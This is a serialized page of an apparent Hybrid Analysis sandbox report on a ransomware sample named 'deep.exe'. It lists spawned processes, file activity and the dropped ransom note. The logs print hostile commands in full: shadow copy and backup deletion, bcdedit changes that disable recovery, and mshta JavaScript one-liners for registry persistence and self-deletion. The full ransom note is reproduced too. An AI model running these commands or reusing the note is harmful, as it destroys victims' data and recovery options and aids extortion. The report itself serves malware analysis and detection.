24:I[10321,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/3h6zdc-it88if.js","/_next/static/chunks/2vw2j18d9u3gs.js","/_next/static/chunks/3l_wb6il5gi_h.js"],"ReportDetailWrapper"] 37:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious — Falcon Sandbox Report 5b5202227ca3… — Score 100/100 — Sample 9e54b2b92942…","description":"Malicious verdict for sandbox report 5b5202227ca3…. Threat score 100/100. 10 malicious and 19 suspicious behavioral indicators across 59 signatures. Detonated in Windows 7 32 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT\u0026CK mappings.","url":"/sample/9e54b2b929422550c4b0c48e7423a2796bb3c2c43ff5f1ff4e6ea1ca4e6655bb/5b5202227ca3e116275eeb53","keywords":["Malicious","sandbox report","malware analysis","MITRE ATT\u0026CK","9e54b2b929422550c4b0c48e7423a2796bb3c2c43ff5f1ff4e6ea1ca4e6655bb"],"about":{"@type":"SoftwareApplication","name":"deep.exe","applicationCategory":"PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows","identifier":"9e54b2b929422550c4b0c48e7423a2796bb3c2c43ff5f1ff4e6ea1ca4e6655bb","additionalType":"Malicious sample"},"threatScore":100,"sandboxEnvironment":"Windows 7 32 bit","behavioralIndicators":{"malicious":10,"suspicious":19,"totalSignatures":59},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiIiIiIiIiIiIiIiAAAAAiIiIiIiIiIiIiIiIiAAACIiIiIiIiIiIiIiIiIiAAAiIiIiIiIiIiIiIiIiIgAAIiIiHd3d3d3d3d3iIiIAACIiIAAAAAAAAAAAAiIiAAAiIhwd3d3d3d3d3cHiIgAAI+IcH/////////3B4j4AACPj3B/iIiIiIiI9wf4+AAAj49wf4iIiPiIiPcH+PgAAP//cH///47////3B///AAD//3B///juj///9wf//wAA//9wf/+O7u////cH//8AAP//d3/47ojo///3d///AAD//3eP/4//jo//93f//wAA//93j/////jo//d3//8AAP//d4//////jo/3d///AAD//3eP//////iP+Hf//wAA//93j/////////h3//8AAP//d4/////////4d///AAD//3ePiIiIiIiI+Hf//wAA//93f4d3d3d3ePd3//8AAP//h3j/d3d3d/93eP//AAD///h3j/d4h3j4d4///wAA///////3ePd///////8AAP//////+Hd3j///////AAAP//////+HeP//////8AAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////AAAA/gAAAHwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAAD4AAAB/AAAA///////////w==26:T8db,Spawned process "cmd.exe" with commandline "/c copy /y "C:\deep.exe" "%APPDATA%\deep.exe"" (UID: 00016417-00003944) Spawned process "" with commandline "runas" (UID: 00016469-00003828) Spawned process "cmd.exe" with commandline "/c copy /y "C:\deep.exe" "%APPDATA%\deep.exe"" (UID: 00017590-00003040) Spawned process "" (UID: 00017674-00002524) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXOb ..." (UID: 00018756-00002344), Spawned process "mshta.exe" with commandline ""javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKC ..." (UID: 00018763-00002328) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00018995-00003448) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00019026-00003472) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00019050-00003624) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00019063-00003736) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00019094-00001104) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00019096-00003444) Spawned process "WMIC.exe" with commandline "wmic SHADOWCOPY DELETE" (UID: 00019136-00003816) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00019155-00004044) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00019159-00003844) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00019208-00003880) Spawned process "cmd.exe" with commandline "/C NET USE" (UID: 00019705-00003780) Spawned process "net.exe" with commandline "NET USE" (UID: 00019711-00003684) Spawned process "cmd.exe" with commandline "/c start /max notepad.exe "%USERPROFILE%\HOW TO RECOVER ENCRYPTE ..." (UID: 00020827-00003560), Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('Scripting.FileSystemObject');se ..." (UID: 00020855-00003552)27:T8db,Spawned process "cmd.exe" with commandline "/c copy /y "C:\deep.exe" "%APPDATA%\deep.exe"" (UID: 00016417-00003944) Spawned process "" with commandline "runas" (UID: 00016469-00003828) Spawned process "cmd.exe" with commandline "/c copy /y "C:\deep.exe" "%APPDATA%\deep.exe"" (UID: 00017590-00003040) Spawned process "" (UID: 00017674-00002524) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXOb ..." (UID: 00018756-00002344), Spawned process "mshta.exe" with commandline ""javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKC ..." (UID: 00018763-00002328) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00018995-00003448) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00019026-00003472) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00019050-00003624) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00019063-00003736) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00019094-00001104) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00019096-00003444) Spawned process "WMIC.exe" with commandline "wmic SHADOWCOPY DELETE" (UID: 00019136-00003816) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00019155-00004044) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00019159-00003844) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00019208-00003880) Spawned process "cmd.exe" with commandline "/C NET USE" (UID: 00019705-00003780) Spawned process "net.exe" with commandline "NET USE" (UID: 00019711-00003684) Spawned process "cmd.exe" with commandline "/c start /max notepad.exe "%USERPROFILE%\HOW TO RECOVER ENCRYPTE ..." (UID: 00020827-00003560), Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('Scripting.FileSystemObject');se ..." (UID: 00020855-00003552)28:T431,"" touched file "C:\Windows\System32\ntdll.dll" "" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Windows\System32\en-US\setupapi.dll.mui" "" touched file "C:\Users\ScTP5xD\AppData\Local\Microsoft\Windows\Caches" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "" touched file "C:\Windows\System32\en-US\propsys.dll.mui" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "cmd.exe" touched file "C:\Windows\System32\en-US\cmd.exe.mui" "" touched file "C:\Windows\AppPatch\sysmain.sdb"29:T742,"" queried SystemProcessInformation at 00015229-00002420-00000105-10356506874 "" queried SystemProcessInformation at 00016469-00003828-00000105-37924325218 "" queried SystemProcessInformation at 00017674-00002524-00000105-63634444022 "" queried SystemProcessInformation at 00017674-00002524-00000105-78370064665 "" queried SystemProcessInformation at 00017674-00002524-00000105-78465069595 "" queried SystemProcessInformation at 00017674-00002524-00000105-78516116380 "" queried SystemProcessInformation at 00017674-00002524-00000105-78641286622 "" queried SystemProcessInformation at 00017674-00002524-00000105-78703426271 "" queried SystemProcessInformation at 00017674-00002524-00000105-78807269276 "" queried SystemProcessInformation at 00017674-00002524-00000105-78840689453 "" queried SystemProcessInformation at 00017674-00002524-00000105-78876028312 "" queried SystemProcessInformation at 00017674-00002524-00000105-78909954080 "" queried SystemProcessInformation at 00017674-00002524-00000105-78961831485 "" queried SystemProcessInformation at 00017674-00002524-00000105-79065049772 "" queried SystemProcessInformation at 00017674-00002524-00000105-79121852884 "" queried SystemProcessInformation at 00017674-00002524-00000105-79220761334 "" queried SystemProcessInformation at 00017674-00002524-00000105-79330483955 "" queried SystemProcessInformation at 00017674-00002524-00000105-79408285418 "" queried SystemProcessInformation at 00017674-00002524-00000105-79472531422 "" queried SystemProcessInformation at 00017674-00002524-00000105-795938542322a:T904,"Your files are now encrypted!Your personal identifier:6A0200000000000027F171391D92C91180300C035B926FBBFFC6D830F930E0C85A890C57A67C521995371753175D32F728EDE5ED70D472D369AA3C362BB243E7CEFCD9CC39223E87CC8ABB15BD996EE1D6885FEDF4DCBA663723A4B24E84EEEC46A6B6AE359B28262B75B95B8711BF4254771B8A2C9DEDF571B1E6C6A659E8B63BB981EB65130B7742D51D48B8A30A62644068D8F6DEF3334C64726F70CE3E490D4ACEB47B9B3D8D672AB63D72B4FE8E84F5B9023F7C6C63D44B4C2837C08BAE4F015D0C3B1191A5CBF0C596EA6BE15B1E601E910E44385204CB4E24B31DC63B2F45D104701B2B3E566BB2B6688111E5611E65A2185286FD8EA02962DE1879E391673A5356B1699A7AE98CE3A402D2980B8FD7BBC8C0D0D92D7247FCCD92442C722133CA5C0AA40F1289FF3F016C8CE6923F84D6DB261D50F0FCE8283C9F9FA52BAB317DAll your files have been encrypted due to a security problem with your PC.Now you should send us email with your personal identifier.This email will be as confirmation you are ready to pay for decryption key.You have to pay for decryption in Bitcoins. The price depends on how fast you write to us.After payment we will send you the decryption tool that will decrypt all your files. Contact us using this email address: mrdeep@protonmail.comFree decryption as guarantee!Before paying you can send us up to 3 files for free decryption.The total size of files must be less than 10Mb (non archived), and files should not containvaluable information (databases, backups, large excel sheets, etc.).How to obtain Bitcoins? * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price: https://localbitcoins.com/buy_bitcoins * Also you can find other places to buy Bitcoins and beginners guide here: http://www.coindesk.com/information/how-can-i-buy-bitcoins Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam." (Source: HOW TO RECOVER ENCRYPTED FILES.TXT, Indicator: "files have been encrypted") "All your files have been encrypted due to a security problem with your PC." (Source: HOW TO RECOVER ENCRYPTED FILES.TXT, Indicator: "files have been encrypted")2b:T861,"Your files are now encrypted!Your personal identifier:6A0200000000000027F171391D92C91180300C035B926FBBFFC6D830F930E0C85A890C57A67C521995371753175D32F728EDE5ED70D472D369AA3C362BB243E7CEFCD9CC39223E87CC8ABB15BD996EE1D6885FEDF4DCBA663723A4B24E84EEEC46A6B6AE359B28262B75B95B8711BF4254771B8A2C9DEDF571B1E6C6A659E8B63BB981EB65130B7742D51D48B8A30A62644068D8F6DEF3334C64726F70CE3E490D4ACEB47B9B3D8D672AB63D72B4FE8E84F5B9023F7C6C63D44B4C2837C08BAE4F015D0C3B1191A5CBF0C596EA6BE15B1E601E910E44385204CB4E24B31DC63B2F45D104701B2B3E566BB2B6688111E5611E65A2185286FD8EA02962DE1879E391673A5356B1699A7AE98CE3A402D2980B8FD7BBC8C0D0D92D7247FCCD92442C722133CA5C0AA40F1289FF3F016C8CE6923F84D6DB261D50F0FCE8283C9F9FA52BAB317DAll your files have been encrypted due to a security problem with your PC.Now you should send us email with your personal identifier.This email will be as confirmation you are ready to pay for decryption key.You have to pay for decryption in Bitcoins. The price depends on how fast you write to us.After payment we will send you the decryption tool that will decrypt all your files. Contact us using this email address: mrdeep@protonmail.comFree decryption as guarantee!Before paying you can send us up to 3 files for free decryption.The total size of files must be less than 10Mb (non archived), and files should not containvaluable information (databases, backups, large excel sheets, etc.).How to obtain Bitcoins? * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price: https://localbitcoins.com/buy_bitcoins * Also you can find other places to buy Bitcoins and beginners guide here: http://www.coindesk.com/information/how-can-i-buy-bitcoins Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam." (Source: HOW TO RECOVER ENCRYPTED FILES.TXT, Indicator: "files have been encrypted")2c:T861,"Your files are now encrypted!Your personal identifier:6A0200000000000027F171391D92C91180300C035B926FBBFFC6D830F930E0C85A890C57A67C521995371753175D32F728EDE5ED70D472D369AA3C362BB243E7CEFCD9CC39223E87CC8ABB15BD996EE1D6885FEDF4DCBA663723A4B24E84EEEC46A6B6AE359B28262B75B95B8711BF4254771B8A2C9DEDF571B1E6C6A659E8B63BB981EB65130B7742D51D48B8A30A62644068D8F6DEF3334C64726F70CE3E490D4ACEB47B9B3D8D672AB63D72B4FE8E84F5B9023F7C6C63D44B4C2837C08BAE4F015D0C3B1191A5CBF0C596EA6BE15B1E601E910E44385204CB4E24B31DC63B2F45D104701B2B3E566BB2B6688111E5611E65A2185286FD8EA02962DE1879E391673A5356B1699A7AE98CE3A402D2980B8FD7BBC8C0D0D92D7247FCCD92442C722133CA5C0AA40F1289FF3F016C8CE6923F84D6DB261D50F0FCE8283C9F9FA52BAB317DAll your files have been encrypted due to a security problem with your PC.Now you should send us email with your personal identifier.This email will be as confirmation you are ready to pay for decryption key.You have to pay for decryption in Bitcoins. The price depends on how fast you write to us.After payment we will send you the decryption tool that will decrypt all your files. Contact us using this email address: mrdeep@protonmail.comFree decryption as guarantee!Before paying you can send us up to 3 files for free decryption.The total size of files must be less than 10Mb (non archived), and files should not containvaluable information (databases, backups, large excel sheets, etc.).How to obtain Bitcoins? * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price: https://localbitcoins.com/buy_bitcoins * Also you can find other places to buy Bitcoins and beginners guide here: http://www.coindesk.com/information/how-can-i-buy-bitcoins Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam." (Source: HOW TO RECOVER ENCRYPTED FILES.TXT, Indicator: "files have been encrypted")2d:Tc38,"" wrote 32 bytes to a remote process "C:\deep.exe" (Handle: 476) "" wrote 52 bytes to a remote process "C:\deep.exe" (Handle: 476) "" wrote 4 bytes to a remote process "C:\deep.exe" (Handle: 476) "" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\deep.exe" (Handle: 608) "" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\deep.exe" (Handle: 608) "" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\deep.exe" (Handle: 608) "" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 424) "" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 424) "" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 424) "" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 428) "" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 428) "" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 428) "" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 600) "" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 600) "" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 600) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wbadmin.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wbadmin.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wbadmin.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\vssadmin.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\vssadmin.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\vssadmin.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\bcdedit.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\bcdedit.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\bcdedit.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\net.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\net.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\net.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\notepad.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\notepad.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\notepad.exe" (Handle: 84)2e:Taca,Spawned process "" (UID: 00015229-00002420) Spawned process "cmd.exe" with commandline "/c copy /y "C:\deep.exe" "%APPDATA%\deep.exe"" (UID: 00016417-00003944) Spawned process "" with commandline "runas" (UID: 00016469-00003828) Spawned process "cmd.exe" with commandline "/c copy /y "C:\deep.exe" "%APPDATA%\deep.exe"" (UID: 00017590-00003040) Spawned process "" (UID: 00017674-00002524) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('deep.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\LMeWCFyUXhYBLR',i);}catch(e){}} 10);"" (UID: 00018756-00002344) Spawned process "mshta.exe" with commandline ""javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\IZXJ[\\CWBBP'));close();"" (UID: 00018763-00002328) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00018995-00003448) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00019026-00003472) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00019050-00003624) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00019063-00003736) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00019094-00001104) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00019096-00003444) Spawned process "WMIC.exe" with commandline "wmic SHADOWCOPY DELETE" (UID: 00019136-00003816) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00019155-00004044) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00019159-00003844) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00019208-00003880) Spawned process "cmd.exe" with commandline "/C NET USE" (UID: 00019705-00003780) Spawned process "net.exe" with commandline "NET USE" (UID: 00019711-00003684) Spawned process "cmd.exe" with commandline "/c start /max notepad.exe "%USERPROFILE%\HOW TO RECOVER ENCRYPTED FILES.TXT"" (UID: 00020827-00003560) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('deep.exe');close()}catch(e){}} 10);"" (UID: 00020855-00003552) Spawned process "notepad.exe" with commandline ""%USERPROFILE%\HOW TO RECOVER ENCRYPTED FILES.TXT"" (UID: 00020865-00003564)2f:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiIiIiIiIiIiIiIiAAAAAiIiIiIiIiIiIiIiIiAAACIiIiIiIiIiIiIiIiIiAAAiIiIiIiIiIiIiIiIiIgAAIiIiHd3d3d3d3d3iIiIAACIiIAAAAAAAAAAAAiIiAAAiIhwd3d3d3d3d3cHiIgAAI+IcH/////////3B4j4AACPj3B/iIiIiIiI9wf4+AAAj49wf4iIiPiIiPcH+PgAAP//cH///47////3B///AAD//3B///juj///9wf//wAA//9wf/+O7u////cH//8AAP//d3/47ojo///3d///AAD//3eP/4//jo//93f//wAA//93j/////jo//d3//8AAP//d4//////jo/3d///AAD//3eP//////iP+Hf//wAA//93j/////////h3//8AAP//d4/////////4d///AAD//3ePiIiIiIiI+Hf//wAA//93f4d3d3d3ePd3//8AAP//h3j/d3d3d/93eP//AAD///h3j/d4h3j4d4///wAA///////3ePd///////8AAP//////+Hd3j///////AAAP//////+HeP//////8AAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////AAAA/gAAAHwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAAD4AAAB/AAAA///////////w==30:Td7b8,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